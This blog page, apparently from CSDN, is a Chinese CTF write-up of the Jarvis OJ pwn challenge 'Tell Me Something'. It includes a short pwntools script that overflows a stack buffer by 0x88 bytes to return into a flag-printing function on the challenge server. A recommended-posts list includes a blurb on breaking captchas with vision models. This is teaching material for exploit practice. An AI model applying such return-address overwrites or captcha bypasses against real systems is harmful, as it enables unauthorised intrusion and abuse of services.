(Jarvis Oj)(Pwn) Tell Me Something

jarvisoj_tell_me_something jarvisoj_tell_me_something 使用checksec查看: 看来又是一道栈溢出的题目,直接放IDA查看: 一眼看过去,main()函数中就已经存在栈溢出了 查看字符串可以发现,存在一个flag.txt的字符串,跟进函数查看: 这个函数读取并打印了flag,so…我们只需要return到这个函数即可 需要注意的是: 函数起始的时候并没有将rbp压入栈中,结束的时候也没有leave 所以我们在ret的时候不需要加上偏移,直接在0x88后面加上要ret的函数的地址 exp: from 阅读详情

(Jarvis Oj)(Pwn) Tell Me Something

首先查看程序开的保护。基本什么都没有。
这里写图片描述
丢到ida中,主函数。
这里写图片描述
然后发现了good_game函数。
这里写图片描述
这个函数的用途就显而易见了,输出目录下的”flag.txt”文件。于是利用read函数导致的栈溢出,将返回地址覆盖为good_game函数的地址。通过ida或者cyclic工具可以获得需要的填充的长度。写得脚本。

  1 from pwn import *
  2 
  3 context.terminal = ['gnome-terminal','-x','sh','-c']
  4 #conn=process("./guestbook")
  5 conn=remote("pwn.jarvisoj.com","9876")
  6 e=ELF("./guestbook")
  7 conn.recvline()
  8 game_addr=e.symbols["good_game"]
  9 payload="A"*0x88+p64(game_addr)
  10 #print payload
  11 conn.sendline(payload)
  12 conn.recvline()
  13 conn.interactive()  
BUUCTF:jarvisoj_tell_me_something(write up) BUUCTF:jarvisoj_tell_me_something0x01 文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01 文件分析 仅开启了栈不可执行保护 0x02 运行 只是输入一条message 0x03 IDA good_game函数将flag.txt内容输出 0x04 思路 是一道简单的栈溢出题,知道覆盖长度即可,gdb调试 发现输入message的地址到返回地址的长度为0x88字节 0x05 exp #!/usr/bin/python 阅读详情

相关推荐

KMS服务器一键部署与激活实战指南

本文详细介绍了KMS服务器的一键部署与激活实战指南,包括快速入门、安装步骤、服务管理技巧及常见问题排查。特别针对Windows和Mac用户提供了Office激活的具体操作步骤,并分享了高级配置与优化方案,帮助IT管理员高效管理批量授权激活。

weixin_29305313的博客 461

jarvisoj——Tell Me Something

本来想做其他的平台,但是搜了一下还是这个平台比较适合入门。 题目 Wp 这里首先下载,然后ida打开,看到main函数 main函数说的实际上就是有一个保存的栈大小为136,但是确允许输入256栈大小的内容,这里存在栈溢出的问题。 然后这里可以看到有一个good_gaem 可以看到是读取了一个flag.txt的文件。 那么需要做的就是先覆盖,这里我自己感觉的是,覆盖先将自身拉满,然后加返回地址直接覆盖就行。 最后就是先覆盖136的自身,然后加上good_game的地址即可。 pwntools fro

王嘟嘟的博客 848

从S参数到SPICE模型:Cadence Sigrity Boardband SPICE完整使用指南

本文详细介绍了Cadence Sigrity Boardband SPICE工具的核心价值与完整使用流程。该工具通过矢量拟合算法,将复杂的多端口S参数文件转化为无源、紧凑且高精度的SPICE等效电路模型,从而极大提升时域仿真效率。指南涵盖了从数据导入、关键参数配置、模型精度验证到集成应用于PowerSI等系统级仿真的全步骤,是信号与电源完整性分析的必备利器。

defi6farmer的博客 432

BUUCTF jarvisoj_tell_me_something

pwn新手小白,写完题后整理的一点点思路,有借鉴其他wp,有任何问题各位师傅可以提出,接收批评指正

2401_88087539的博客 398

DSP TMS320C6657中FFT函数的调用与具体使用方法

首先明确一点,C6678中FFT的函数形式为: N : length of FFT in complex samples ptr_x : pointer to complex data input ptr_w : pointer to complex twiddle factor ptr_y : pointer to complex output data brev : pointer to bit reverse table containing 64 entries n_min : should be

Kayboy的博客 3012

Stata实战入门:从数据导入到基础分析的全流程指南

本文提供了Stata实战入门的全流程指南,从数据导入、清洗到基础分析和可视化,帮助初学者快速掌握Stata的核心功能。通过详细的步骤和实用技巧,读者可以高效完成数据处理、变量操作、描述性统计和回归分析等任务,提升数据分析效率。

weixin_28327051的博客 384

[Jarvis OJ - PWN]——Tell Me Something

[Jarvis OJ - PWN]——Tell Me Something 题目地址:https://www.jarvisoj.com/challenges 题目:

Y_peak的博客 404

Windows10完美驱动Apple Studio Display:从雷电接口到亮度调节全攻略

本文详细介绍了如何在Windows10系统上完美驱动Apple Studio Display,涵盖雷电接口兼容性、亮度调节及色彩管理等关键问题。通过实测对比不同转接方案和显卡兼容性,推荐使用贝尔金VR线和NVIDIA GTX-1660显卡,并提供了BootCamp驱动安装和亮度调节的终极解决方案,帮助用户实现最佳显示效果。

elastic6hunter的博客 1121

Jarvis OJ Tell Me Something

nc pwn.jarvisoj.com 9876 题目网址 https://www.jarvisoj.com/challenges 需要原料: python zio模块。 拿到程序名字太长了,改名成 1 用file命令查看文件类型 file 1 1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically...

九层台 1070

手眼标定----眼在手上(eye-in-hand)

@TOC 标定之前你可以先拿个怡宝盖子进行测试。 第一步:打开halcon,采集,然后生成代码,显示十字架 第二步:把怡宝盖子放在十字架中心位置,在图像处理,找到怡宝盖子 第三步:找到怡宝盖子然后进行九点标定(眼在外帖子有讲),移动机器手然后分别拍9次照片,记录怡宝盖子坐标和当前机器坐标。这里移动到中心位置的时候记录一下单独记录一下坐标,等下要用。 顺序 第四步:拍完后利用vector_to_hom_mat2d算子求出矩阵,然后在利用write_tuple (HomMat2D, ‘路径’)进行保存。这里

苏州程序大白的博客 4280

关于瑞芯微SDK中buildroot的架构分析、配置细节、以及一些使用步骤

摘要:瑞芯微SDK基于Buildroot框架,针对RK3568等芯片提供定制化开发环境。核心目录包括buildroot(配置与编译框架)、kernel(定制内核)和u-boot(引导程序)。开发流程为:1)加载芯片默认配置;2)通过menuconfig定制系统(架构、内核、软件包等);3)可选修改内核配置。关键硬件适配需修改设备树(dts)和分区表(parameter.txt),系统行为通过启动脚本(S90network)调整。最终执行make编译生成可烧录固件。该框架通过配置文件驱动,实现从工具链构建到固

Hyjks的博客 1199

Jarvis OJ pwn wp - Tell Me Something + Smashes

Tell Me Something 栈溢出, ret2text, 白给题, 但是要注意这里的调用约定不是标准的, 所以偏移量就是0x88, 不需要加8 add rsp, 0x88之后就ret了, 所以偏移为0x88, 不是根据IDA反编译的结果来判断 from pwn import * from pwnlib.util.cyclic import cyclic context(arch = 'amd64', os = 'linux', log_level = 'debug') sel = 1 fi

fa1c4的blog 218

验证码破解2.0:Python+CV大模型搞定滑块/点选验证

核心创新:基于YOLOv8+SAM CV大模型的端到端验证码破解方案,无需人工设计特征,适配多种验证码类型;核心价值高成功率:滑块验证≥95%,点选验证≥90%,远超传统CV方案;低延迟:单验证码破解≤2秒,满足高并发采集需求;行为模拟:生成符合人类操作的轨迹,绕过行为检测;易扩展:统一架构支持新增验证码类型,仅需少量标注数据微调;技术要点采用YOLOv8实现快速目标检测,SAM实现像素级分割;生成物理规律的人类轨迹,模拟真实操作行为;

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 1261

Jarvis Oj Pwn 学习笔记-Tell Me Something

记一个64位栈帧的坑!!! 老板儿,链接要得: https://files.cnblogs.com/files/Magpie/guestbook.rar nc pwn.jarvisoj.com 9876 第n次checksec...: 宣IDA觐见: good_name一看就很妖孽,于是跟进去: 好嘛~搞定了这不! 看一下main函数的溢出点: 于是pa...

baoan4763的博客 172

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

JarvisOJ PWN Tell me Something wp

Tell me Something 先拖进ida里看一下,发现了"flag.txt"字符串,双击发现good_game函数: 查看主函数,发现其中并没有调用goodgame函数: 所以我们输入大于buffer长度的数据,溢出的数据将会覆盖栈上的数据,因此我们将main的返回地址改成goodgame的地址,这样当main函数执行完之后,将会跳转到goodgame函数上进行执行,从而拿到...

苗_的博客 259

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

Jarvis OJ-PWN-Tell Me Something wp

开启了NX保护 说明栈中数据没有执行权限 拖到IDA里看一下 通过观察IDA左侧的函数栏可以看到一个good_game函数 点进去观察 我们看到了flag.txt 可以想到flag应该就在这个txt文档里 于是我们就可以让溢出的返回地址为good_game函数 通过cyclic或者IDA来获取长度 from pwn import * #p=process("./guestbook") ...

分不清东西南北的Laffey 503

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

【jarvisoj刷题之旅】pwn题目Tell Me Something的writeup

题目信息: file一下  发现是64位的ELF checksec检查下安全性 objdump -t 文件名   可以查看符号表 iqiqiya@521:~/Desktop/jarvisOJ$ objdump -t guestbook guestbook: file format elf64-x86-64 SYMBOL TABLE: 00000000004002...

iqiqiya的博客 1261

18.9.19 Jarvis OJ PWN----Tell Me Something

我先checksec一下 可以栈溢出,发现主函数里的read函数就可以溢出 我们可以看到函数列表里还有个函数叫good_game 那直接覆盖然会地址就好啦 上脚本 #函数主体 cn.recvuntil("Input your message:\n") goodgame_addr=0x00400620 payload='a'*(0x88)+p64(goodgame_addr...

qq_42192672的博客 353

JarvisOJ-PWN-Tell_Something

JarvisOJ-PWN-Tell_Something 首先,检查后是64位的gcc。 用IDA打开。 在Export发现这些函数: 这些函数一看就知道是自己写的函数了。 先看main 再看read。里的v4 可以看出v4内存空间为:0x88。 read 0x100>0x88,存在栈溢出漏洞。 那该怎么利用呢? 再看readmassage 可能也是...

杀生丸?不,其实我要的是桔梗 339

jarvisoj_tell_me_something【BUUCTF】

那就很简单了,溢出指向漏洞函数即可,但此题有个小坑,其实最开始学pwn时会通过gdb查找溢出大小,但后面懒了就直接通过IDA查看,但IDA并不一定准确,并且题目本身也会有坑,比如该题。但本题,main函数没有push ebp的操作,所有溢出时不需要多加8字节ebp位置。

qq_41696518的博客 334

buuctf中的jarvisoj_tell_me_something(栈溢出)

这是main函数的汇编代码,从这里我们并没有发现pop rbp这条指令,也就是说偏移量不需要加上rbp的宽度,所以总偏移为0x88。v4到栈底的距离为0x88,但是read确读取了0x100个字节的数据,存在明显的栈溢出漏洞。发现是从flag.txt中逐字读取字符并打印到屏幕上,相当与后门函数。-开启了栈不可执行保护。

2301_79485835的博客 672

BUUCTF pwn——jarvisoj_tell_me_something

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 297
上一篇: iscc_obfuscation and encode
下一篇: (Jarvis Oj)(Pwn) Smashes
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值